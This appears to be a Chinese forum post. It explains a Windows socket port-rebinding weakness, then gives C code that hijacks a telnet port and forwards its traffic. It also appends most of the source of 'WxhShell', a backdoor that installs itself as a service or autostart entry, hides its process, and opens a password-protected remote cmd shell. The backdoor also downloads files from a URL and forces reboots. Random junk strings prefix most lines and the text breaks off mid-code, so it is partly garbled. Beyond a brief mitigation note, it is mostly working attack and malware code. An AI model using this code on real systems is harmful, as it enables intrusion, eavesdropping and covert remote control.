在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
sZ'3PNpCP s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}7$\F!R ,XP9NHE saddr.sin_family = AF_INET;
i=2+1;K #U/B,`= > saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[uRsB5 g{$&j*Q9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
yB.6U56 McnP>n 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
m$J'n A rI]:| k 这意味着什么?意味着可以进行如下的攻击:
)KRO=~Y 7*XG]=z/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
3F}d,aB
A F{T|lTl 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
9/s-|jD 8}\"LXRbo 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
&P ;6P4x ur#"f'|- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
0l_-
`bC_J,>_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
1shvHmrV !#iP)"O 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
hGus!p"lw db%`-UST 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
P6=|C;[ >Ft jrEB #include
`ZefSmb #include
FpRK^MEkG #include
#3CA #include
h V8A<VT DWORD WINAPI ClientThread(LPVOID lpParam);
Pq4sv`q)S int main()
SyYa_=En {
_ve7Is`/ WORD wVersionRequested;
-`?V8OwY] DWORD ret;
d'-^VxO0 WSADATA wsaData;
Dkdm~~Rr BOOL val;
<I|ryPU9{X SOCKADDR_IN saddr;
jA]xpf6} SOCKADDR_IN scaddr;
v5$zz w int err;
A`r&"i OKA SOCKET s;
Y2$%%@ SOCKET sc;
3]VTQl{P int caddsize;
t1~*q)!Mo HANDLE mt;
#-VKk DWORD tid;
w|5}V6WD wVersionRequested = MAKEWORD( 2, 2 );
Z=H
fOC err = WSAStartup( wVersionRequested, &wsaData );
q5RLIstQ\ if ( err != 0 ) {
mA>Pr<aV: printf("error!WSAStartup failed!\n");
(8ymQ!aY return -1;
,vhR99g{ }
gVl#pVO`N saddr.sin_family = AF_INET;
h'jnc. yWK[@;S]% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
IaF79}^ d~_OWCg` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
l/I W"A saddr.sin_port = htons(23);
iCEX|Tj; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n+i}>3'A {
H5aUZ= printf("error!socket failed!\n");
_88~uYG return -1;
`H|g~7KD& }
I%s/h4x^B[ val = TRUE;
E|fPI u //SO_REUSEADDR选项就是可以实现端口重绑定的
G37_
`C if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
-J6}7>4^8} {
g+CHF?O printf("error!setsockopt failed!\n");
rj5:YQEH; return -1;
-FPl",f=r }
+<|w|c //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
B=p'2lla //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
><DE1tG //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
a[JgR /E@x P~*fZ)\}F@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qj/P4 *6E {
~\_E%NR
yA ret=GetLastError();
:dj@i6 printf("error!bind failed!\n");
1 h"B-x return -1;
~.Gk:M }
f[ywC$en listen(s,2);
p*'?(o:= while(1)
SVHtv0Nx {
a&<<X:$Hy caddsize = sizeof(scaddr);
s6
^JgdW //接受连接请求
&,)tD62s sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
:H87x?e[ if(sc!=INVALID_SOCKET)
i}YnJ {
@GV^B'}* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
HvngjP{> if(mt==NULL)
I[|I\tW {
ls5S9R 5 printf("Thread Creat Failed!\n");
Cm&itG break;
Tv KX8 m" }
aG ,uF }
&V;a: CloseHandle(mt);
.6hH}BM }
Mu%'cwp$ closesocket(s);
&d2/F i+ WSACleanup();
BOG )JaDW return 0;
x{- caOH }
+1y#=iM{ DWORD WINAPI ClientThread(LPVOID lpParam)
{xr]xcM'b {
@PI\.y_w SOCKET ss = (SOCKET)lpParam;
(/M c$V SOCKET sc;
6 qq7: unsigned char buf[4096];
Em7q@ SOCKADDR_IN saddr;
8?$2;uGL long num;
v 3NaX. DWORD val;
MoA{ /{ DWORD ret;
g,;MV7yE //如果是隐藏端口应用的话,可以在此处加一些判断
JB|I/\(A //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
B?M+`; saddr.sin_family = AF_INET;
y/FisX saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)v9[/
]*P saddr.sin_port = htons(23);
qq`RfZjL if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\z{Y(dS {
|bk*Lgkzw printf("error!socket failed!\n");
U!5@$Fu return -1;
anvj{1 }
xI@~I g val = 100;
d.Z]R&X08 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
r~TT c)2 {
MXy{]o_H~ ret = GetLastError();
aI<~+ ] return -1;
1gE`_%?K }
bm4W, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1mX*0> {
1 W0; YcT] ret = GetLastError();
0D'Wr(U( return -1;
|^F-.Z }
eZ!k'bS= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Vo%d;>!G\; {
H@zk8]_P printf("error!socket connect failed!\n");
_x!pMj(A closesocket(sc);
w# e'K-= closesocket(ss);
AUC<
m. return -1;
>$y
> }
FMn&2fH while(1)
+@Y[i."^J {
+6=!ve} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
I?K0bs+6 //如果是嗅探内容的话,可以再此处进行内容分析和记录
=(ZGaZ} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0
OBkd num = recv(ss,buf,4096,0);
~K9U0ypH if(num>0)
.*j+? send(sc,buf,num,0);
2]+.8G7D% else if(num==0)
-)oBh break;
a5-\=0L~ num = recv(sc,buf,4096,0);
my1kF%? if(num>0)
a%dx\&K send(ss,buf,num,0);
pd#/;LT else if(num==0)
b5DrwX{Ff break;
L,6Y=? }
HhL%iy1 closesocket(ss);
0U>Q<I} closesocket(sc);
V%ch' return 0 ;
=lwS\mNs }
K +~v<F k3 l f[IchCwX ==========================================================
i.sq^]j guv@t&;t0 下边附上一个代码,,WXhSHELL
0R&
U18)y Z=0W@_s ==========================================================
=FmU]DV x/=j$oA #include "stdafx.h"
D@^ZpN8r uNbA>*c4M #include <stdio.h>
/<0D
E22 #include <string.h>
$T6Qg(p #include <windows.h>
qR qy #include <winsock2.h>
yjd'{B9{ #include <winsvc.h>
`dP+5u! #include <urlmon.h>
C t)MvZ D.(G 9H #pragma comment (lib, "Ws2_32.lib")
Rs`a@Fn #pragma comment (lib, "urlmon.lib")
&>e DCs iI*7WO[W #define MAX_USER 100 // 最大客户端连接数
8(>.^667 #define BUF_SOCK 200 // sock buffer
c~xo@[NaS #define KEY_BUFF 255 // 输入 buffer
!9,
pX >|)0Amt #define REBOOT 0 // 重启
FE}!bKh #define SHUTDOWN 1 // 关机
Yys~p2 t\i1VXtO #define DEF_PORT 5000 // 监听端口
m]\zt u4@e=vWI #define REG_LEN 16 // 注册表键长度
iwQ-(GjM[A #define SVC_LEN 80 // NT服务名长度
"Vq]|j,B/c 4Umsc>yfK // 从dll定义API
aLi_Hrb9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#[y<h3f] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
T3./V0]\I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
v9U(sEDq typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
.KucjRI LUck>l\l // wxhshell配置信息
wy{>gvqK struct WSCFG {
,g_onfY int ws_port; // 监听端口
u!o]Co> char ws_passstr[REG_LEN]; // 口令
NRisr int ws_autoins; // 安装标记, 1=yes 0=no
X5Y
`(/V char ws_regname[REG_LEN]; // 注册表键名
e({fY.)SGo char ws_svcname[REG_LEN]; // 服务名
S2E HmE& char ws_svcdisp[SVC_LEN]; // 服务显示名
zpqGh char ws_svcdesc[SVC_LEN]; // 服务描述信息
_}OJPahw char ws_passmsg[SVC_LEN]; // 密码输入提示信息
GQ2PmnV+ int ws_downexe; // 下载执行标记, 1=yes 0=no
@b\ S. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
.vS6_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
1?|6odc b$O_L4CP };
9K':Fn2, `t0f L\T // default Wxhshell configuration
j yRSEk$ struct WSCFG wscfg={DEF_PORT,
=nx:GT3&[ "xuhuanlingzhe",
-'[(Uzj 1,
Wi[m`# "Wxhshell",
-I-Uh{)j "Wxhshell",
*3O >J" "WxhShell Service",
MJ,ZXJXs "Wrsky Windows CmdShell Service",
xs!g{~V{ "Please Input Your Password: ",
1Xr"h:U_X 1,
u\R`IZ&O "
http://www.wrsky.com/wxhshell.exe",
lhoq3A "Wxhshell.exe"
tx5T^K7[ };
x$GsDV xDJ+BQ<1A // 消息定义模块
l(#ke char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
tIb21c q char *msg_ws_prompt="\n\r? for help\n\r#>";
ny(GTKoUz char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
eQFb$C]R}y char *msg_ws_ext="\n\rExit.";
7TkxvSL X char *msg_ws_end="\n\rQuit.";
vM7v f6 char *msg_ws_boot="\n\rReboot...";
;Q=GJ5`B char *msg_ws_poff="\n\rShutdown...";
{Mr~%y4 char *msg_ws_down="\n\rSave to ";
^2^|AXNES 5!F\h'E char *msg_ws_err="\n\rErr!";
ZBmXaP[9 char *msg_ws_ok="\n\rOK!";
#RM3^]h F|l`YtZZd char ExeFile[MAX_PATH];
=6L*!JP< int nUser = 0;
`{U%[$<[W HANDLE handles[MAX_USER];
y[p$/$bgC5 int OsIsNt;
ml.;wB| #M?F^u[ SERVICE_STATUS serviceStatus;
Ah>gC!F^ SERVICE_STATUS_HANDLE hServiceStatusHandle;
o}MzqKfu Sf&?3a+f // 函数声明
KO"Jg-6r| int Install(void);
QW~5+c9JJ int Uninstall(void);
a3UPbl3^ int DownloadFile(char *sURL, SOCKET wsh);
/Pn.)Lxfl int Boot(int flag);
{(Og/[ void HideProc(void);
%,,`N I{ int GetOsVer(void);
;wXY3|@ int Wxhshell(SOCKET wsl);
3XwU6M$5g void TalkWithClient(void *cs);
^'&iYV int CmdShell(SOCKET sock);
=r@gJw:B int StartFromService(void);
vZE|Z[M+< int StartWxhshell(LPSTR lpCmdLine);
9G#8%[W b>QM~mq3^I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
tyuk{*Me: VOID WINAPI NTServiceHandler( DWORD fdwControl );
3gG+`{< "65||[=8 // 数据结构和表定义
*:9 >W$0u SERVICE_TABLE_ENTRY DispatchTable[] =
H5Ux.]y {
.vN%UNu {wscfg.ws_svcname, NTServiceMain},
2K]IlsMO& {NULL, NULL}
Y:%m;b$] };
drENkS=, |,;twj[?4 // 自我安装
b+IOh| int Install(void)
3zB|!pC6s {
7k[pvd|L char svExeFile[MAX_PATH];
1xO!w+J# HKEY key;
f4'El2>-86 strcpy(svExeFile,ExeFile);
v`S2M }A1|jY)x // 如果是win9x系统,修改注册表设为自启动
*#lBQBH|. if(!OsIsNt) {
@%OPy|=,{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
& =73D1A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X<~k =qwA RegCloseKey(key);
7-".!M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6[*;M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4[TS4p RegCloseKey(key);
VyecTU"W return 0;
C5es2!^-]O }
"H>r-cyh }
jq57C}X}2 }
E3S%s else {
|5=~(-I>@ nAo8uWG // 如果是NT以上系统,安装为系统服务
d"B@c;dD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
J}Qs"+x if (schSCManager!=0)
s~=KhP~ {
rH$eB/#F SC_HANDLE schService = CreateService
=[]x\&@t (
1l/AKI(! schSCManager,
4>4V-m\ wscfg.ws_svcname,
;w`sz. wscfg.ws_svcdisp,
*A?8F"6> SERVICE_ALL_ACCESS,
{ExII<=6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
9ZDVy7m\i- SERVICE_AUTO_START,
FZe:co8Mu SERVICE_ERROR_NORMAL,
*.,"N} svExeFile,
O87"[c`> NULL,
{ p1lae NULL,
v:rD3=M- NULL,
6exI_3A4jh NULL,
<nDNiM# NULL
+I|Rk& );
dqqnCXYuW if (schService!=0)
vv+TKO {
F:M>z= CloseServiceHandle(schService);
6xH;:B)d CloseServiceHandle(schSCManager);
X=v~^8M7% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
5>k>L*5J strcat(svExeFile,wscfg.ws_svcname);
wgY6D!Y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
9p<:=T RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
[34zh="o RegCloseKey(key);
1ZT^)/ G return 0;
Wrmgu}q }
3A-*vaySV }
"\}b!gl$8 CloseServiceHandle(schSCManager);
Q_ctX|. }
a9[mZVMgUK }
i=oTg _
XE;-weE return 1;
`-VG ?J }
w6vLNX wJ6_I$> // 自我卸载
:qxm !P int Uninstall(void)
RX:R*{]- {
-Q6(+(7_| HKEY key;
9Ei5z6Vk/+ N99[.mErU if(!OsIsNt) {
^_@r.y] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=0,|/1~ RegDeleteValue(key,wscfg.ws_regname);
]?[zx'| RegCloseKey(key);
2(pLxVl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^^%JoQ. RegDeleteValue(key,wscfg.ws_regname);
/K7Bae5h RegCloseKey(key);
M~uMY+> return 0;
tKwn~T }
J*5hf: ?i }
14mf}"z\ }
>K\3*]>J3 else {
o&~dGG4J ;; :">@5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)X/*($SuA if (schSCManager!=0)
vX ?aB!nkw {
_=pWG^a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
KyT uF if (schService!=0)
iHPUmTus-- {
Z a!
gbt if(DeleteService(schService)!=0) {
`19qq] CloseServiceHandle(schService);
U_]=E<el CloseServiceHandle(schSCManager);
B`i$Wt<7 return 0;
j_p`Ng }
!x>,N%~ CloseServiceHandle(schService);
69>/@< }
Oukd_Ryf CloseServiceHandle(schSCManager);
:$NsR*Cq*9 }
GQb i$kl }
x|8^i6xB "# !D|[h0 return 1;
}MP>]8Aq }
]Ko^G_Rm
oB
p3JX9_f // 从指定url下载文件
["u#{>(X int DownloadFile(char *sURL, SOCKET wsh)
58: :h.: {
~(P&g7u HRESULT hr;
09'oz*v{# char seps[]= "/";
30s; } char *token;
D93gH1z char *file;
=J](.78 char myURL[MAX_PATH];
*r;xw char myFILE[MAX_PATH];
3f"C!l]Xu +
~"5! strcpy(myURL,sURL);
\/ErPi=g token=strtok(myURL,seps);
eIH$"f;L while(token!=NULL)
#.H}r6jqs {
X3<K 1/< file=token;
P;73Hr[E# token=strtok(NULL,seps);
h$>wv` }
onwjn+"& l-<`m#/v GetCurrentDirectory(MAX_PATH,myFILE);
Sm)u9 strcat(myFILE, "\\");
V7EQ4Om:It strcat(myFILE, file);
TN\|fzj send(wsh,myFILE,strlen(myFILE),0);
R:M,tL-l send(wsh,"...",3,0);
TkRmV6'w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ziiwxx_ if(hr==S_OK)
"oR@JbdX return 0;
@ &pqt6/t else
-\4zwIH return 1;
Br!9x{q* k2r3dO@q }
Q,gLi\siI 4jX3lq| // 系统电源模块
x:fW~!Xc6 int Boot(int flag)
3#c3IZ-; {
YHB9mZi HANDLE hToken;
1'JD = TOKEN_PRIVILEGES tkp;
0OnV0SIL vQ1 v#Z if(OsIsNt) {
QTH7grB2v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
|0g{"}% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
2}vNSQvG tkp.PrivilegeCount = 1;
d$G}iJ8$mp tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
uH:YKH':/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
V%*b@zv if(flag==REBOOT) {
x6W`hpL if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
1_hW#I\' return 0;
cG{L
jt }
eM2|c3/ else {
'RbQj}@x if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
* ?]~
# return 0;
Ji?#.r`"n }
wMWW=$h#\ }
UG](go't else {
T.ML$"f if(flag==REBOOT) {
.X'p q5 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
A%XX5* return 0;
rS7)6h7(7 }
v-Qmx-N else {
wNYg$d0M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
__Nv0Ru return 0;
69OF_/23 }
ac8P\2{" }
A6!F@Ic[ A&"%os return 1;
^x m$EY*Y, }
YlF%UPp H,y4`p 0 // win9x进程隐藏模块
tU:EN;H void HideProc(void)
q%i-`S]}qL {
cBXWfv4 G8J*Wnwu[K HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
[0y$! f4 if ( hKernel != NULL )
E\U`2{^. {
2oCkG~j pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_zMgoc7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=Vw
5q},3 FreeLibrary(hKernel);
m@Rtlb }
y7)(LQRE
{ ]uQqn]+I! return;
mJ}opy!{; }
=1.9/hW bt$)Xu<R // 获取操作系统版本
y*23$fj( int GetOsVer(void)
k{I01 {
. (}1%22 OSVERSIONINFO winfo;
(Pbg[AY winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
B9,^mE# GetVersionEx(&winfo);
\tN-(=T if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
E3aDDFDH return 1;
7.g[SBUOG else
t2BL(yB return 0;
,|kDsR! }
Qf $|_&| x@Hd^xH` // 客户端句柄模块
.2)
=vf'd int Wxhshell(SOCKET wsl)
04U")-\O {
N<(.%<! SOCKET wsh;
tjT>VwqH struct sockaddr_in client;
/Q{P3:k DWORD myID;
;j8)KC 3?n>yS while(nUser<MAX_USER)
w= P9FxB {
eKvV*[Na int nSize=sizeof(client);
cLVe T wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
:'iYxhM.V if(wsh==INVALID_SOCKET) return 1;
=#gEB#$x: wU\s;
dK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
4m)OR if(handles[nUser]==0)
jPZaD>! closesocket(wsh);
67SV~L#%O else
26vp1 nUser++;
\</b4iR)LT }
-Go 7"j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
r.ZF_^y}+ jhbonuV_ return 0;
)lk&z8;.= }
0&_UH}10 Vv1|51B // 关闭 socket
?L&|Uw+ void CloseIt(SOCKET wsh)
M-V&X&?j {
z7GTaX$d closesocket(wsh);
\;u@ " nUser--;
qt%D' ExitThread(0);
9}a_:hAy/ }
3I\n_V< 7\FXz'hA // 客户端请求句柄
V-'K6mn; void TalkWithClient(void *cs)
fjk\L\1 {
.
\ 10!wqyj& SOCKET wsh=(SOCKET)cs;
,<BbpIQ2o char pwd[SVC_LEN];
*}k;L74| char cmd[KEY_BUFF];
^sN ( char chr[1];
U8qtwA9t int i,j;
LI2&&Mw JM1R ;i6 while (nUser < MAX_USER) {
D%6;^^WyUx GaX[C<Wt if(wscfg.ws_passstr) {
g<{xC_J if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Mi'8
~J //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
26T "XW'_ //ZeroMemory(pwd,KEY_BUFF);
]e.JNo i=0;
^uv<6 while(i<SVC_LEN) {
mKo C.J [ i#zP // 设置超时
>SPh2[f fd_set FdRead;
oF(Lji?m struct timeval TimeOut;
;qH O OT FD_ZERO(&FdRead);
`W/sP\3 FD_SET(wsh,&FdRead);
sVG(N.y TimeOut.tv_sec=8;
?T+q/lt4 TimeOut.tv_usec=0;
ZaNQpH. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
U- )i+}Ng if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
J{^RkGF E4m` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
,|&9M^ pwd
=chr[0]; (=~&+z
if(chr[0]==0xd || chr[0]==0xa) { Xd^\@
pwd=0; .{y
uo{u
break; ]?*I9
} B,,D7cQC
i++; Jgnhn>dHe
} o sKKt?^?
a!O0,y
// 如果是非法用户,关闭 socket Q0EiEX)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ vqa7~}m
} R<OI1,..r
sc,Xw:YO
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o=0]el^A
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =s<( P1|"
HRB<Y
mP@
while(1) { "
Hd|7F'u=
YnLErJ
ZeroMemory(cmd,KEY_BUFF); \hCH>*x<
/7gOSwY
// 自动支持客户端 telnet标准 M)SEn/T-
j=0; W.kM7z>G
while(j<KEY_BUFF) { 6{txm+U
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); itC-4^
cmd[j]=chr[0]; Ja9e^`i;
if(chr[0]==0xa || chr[0]==0xd) { 0jEL<TgC
cmd[j]=0; n=[/Z!
break; _3ZYtmn.
} >$4d7.^hb/
j++; !"Oh36
} :0h_K
G37U6PuZi
// 下载文件 `]%|f
if(strstr(cmd,"http://")) { i>(e}<i
send(wsh,msg_ws_down,strlen(msg_ws_down),0); wiiCd
if(DownloadFile(cmd,wsh)) ti#7(^j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -\C!I
else i-6Z"b{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I'LnI*
} 1')%`~
else { '3g[]M@M
U*)8G
switch(cmd[0]) { -,U3fts
aTt12Sc
// 帮助 '*3h!lW1.
case '?': { kBffF@{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j:VbrR
break; b9l;a+]d
} OLE[UXD-E
// 安装 k?,1x~
case 'i': { ^0 -:G6H
if(Install()) :5{wf Am
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DP|D\+YyYA
else xoN3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i*Z"Me
break; -PfX0y9n
} mGK|ihYu
// 卸载 cI4K+
case 'r': { w 47tgPPk
if(Uninstall()) n^g|Ja
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ynQ: >tw
else R#I0|;q4|p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1]p ZrBh"E
break; :>C2gS@
} 0.@&_XTPl
// 显示 wxhshell 所在路径 "/wyZ
case 'p': { H5Io{B%=
char svExeFile[MAX_PATH]; y2^Y/)
strcpy(svExeFile,"\n\r"); jWrj?DV,2N
strcat(svExeFile,ExeFile); ye,>A.
send(wsh,svExeFile,strlen(svExeFile),0); R21b!Pd\
break; Kkm>e{0)AY
} W>j !Q^?
// 重启 M
r5v<
case 'b': { c_4[e5z
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^y<<>Y'I
if(Boot(REBOOT)) xjKR R?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GU( _
else { `)_dS&_\
closesocket(wsh); r2,.abo
ExitThread(0); a m|F?|1
} 73/P&hT
break; *Qg _F6y
} >LOjV0K/
// 关机 f}9zgWU
case 'd': { f,kZ\Ia'r
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ']2E {V
if(Boot(SHUTDOWN)) mjW8Q\D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aWR}R>E
else { (KDD e}f
closesocket(wsh); J1C3&t}
ExitThread(0); gaZu;t2u
} -;^j:L{
break; )-a'{W/t
} tp6 3@L|Q
// 获取shell n(;|q&3
case 's': { tFp Ygff<
CmdShell(wsh); n[lJLm^(_C
closesocket(wsh); ^\4h<M
ExitThread(0); {y=j?lD
break; K/IWH[
} wk5s)%V
// 退出 ^hZ0IM
case 'x': { )b)-ZS7
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xc=b
|:A
CloseIt(wsh); X\{LnZ@r4
break; LG9+y
} l1BtI_7p
// 离开 Cv6'`",Yzm
case 'q': { l`#4KCL(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); y1dDO2mA
closesocket(wsh); 1_PoqD!q
WSACleanup(); &,{fw@#)_
exit(1); M
l Jo`d
break; _`&m\Qe>
} 1v.c 6~
} Rwz0poG`WG
} Z2qW\E^_r
=8AO:
// 提示信息 K,+LG7ec
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~A'!2
} pNepC<rY
} xhVO3LW'
jB%lB1Q|
return; n<O}hM ZT
} 2bw_IT
_>(^tCo
// shell模块句柄 =;Rtdy/Yn%
int CmdShell(SOCKET sock) QbkLdM,S*
{ {.C!i{|
STARTUPINFO si; JTSlWq4
ZeroMemory(&si,sizeof(si)); RP[{4Q8
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; le/,R@]B9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JtYP E?
PROCESS_INFORMATION ProcessInfo; IzikDc10
char cmdline[]="cmd"; )dbB=OZ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a{^m-fSaR"
return 0; gQWa24
} hYPl&^
I*{4rDt
// 自身启动模式 + jc!5i .
int StartFromService(void) Q=;U@k@>
{ &"f";
typedef struct n}F&1Z
{ ,?8qpEG~#+
DWORD ExitStatus; ORe(]I`Z
DWORD PebBaseAddress; /uPcXq:L~
DWORD AffinityMask; ?Y-%'J(
DWORD BasePriority; y{ibO}s
ULONG UniqueProcessId; eKE#Yr
d=x
ULONG InheritedFromUniqueProcessId; $WyD^|~SF
